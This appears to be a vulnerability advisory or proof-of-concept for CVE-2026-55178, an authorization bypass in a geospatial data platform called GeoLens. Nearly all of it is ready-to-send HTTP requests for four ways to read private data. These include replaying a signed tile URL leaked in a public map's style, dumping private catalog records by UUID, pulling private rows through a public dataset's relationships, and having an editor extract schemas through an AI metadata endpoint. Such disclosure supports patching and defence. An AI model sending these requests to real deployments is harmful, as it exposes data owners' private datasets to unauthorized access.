CVE-2026-55178: GeoLens Cross-Dataset Authorization Bypass

# 1. Anonymous: dump private dataset metadata + replay vector tiles via public map
# Step 1 - read the map (authorized). Response leaks private dataset schema inside layers[].
GET /api/maps/{public_map_id}/style.json HTTP/1.1
Host: geolens.example.com

# style.json response embeds a signed tile URL like:
# "tiles": ["https://geolens.example.com/api/datasets/{private_dataset_id}/tiles/{z}/{x}/{y}.mvt?sig=<HMAC>"]

# Step 2 - replay the signature to read private vector tiles (no auth header needed)
GET /api/datasets/{private_dataset_id}/tiles/14/8234/5412.mvt?sig=<HMAC_from_style_json> HTTP/1.1
Host: geolens.example.com

# 2. Anonymous: dump any private dataset's OGC catalog record by UUID
GET /api/collections/datasets/items?externalId={private_dataset_uuid} HTTP/1.1
Host: geolens.example.com

# 3. Anonymous: read rows from a private dataset via a public dataset relationship
# Step 1 - list relationships on a public dataset (no auth needed)
GET /api/datasets/{public_dataset_id}/relationships HTTP/1.1
Host: geolens.example.com
# Response reveals relationship_id and private target dataset id/title

# Step 2 - read rows from the private target
GET /api/datasets/{public_dataset_id}/relationships/{relationship_id}/records HTTP/1.1
Host: geolens.example.com

# 4. Authenticated editor: leak any dataset's schema + sample values via AI metadata
POST /api/ai/metadata/summary HTTP/1.1
Host: geolens.example.com
Authorization: Bearer <editor_token>
Content-Type: application/json

{"dataset_id": "{private_dataset_uuid}"}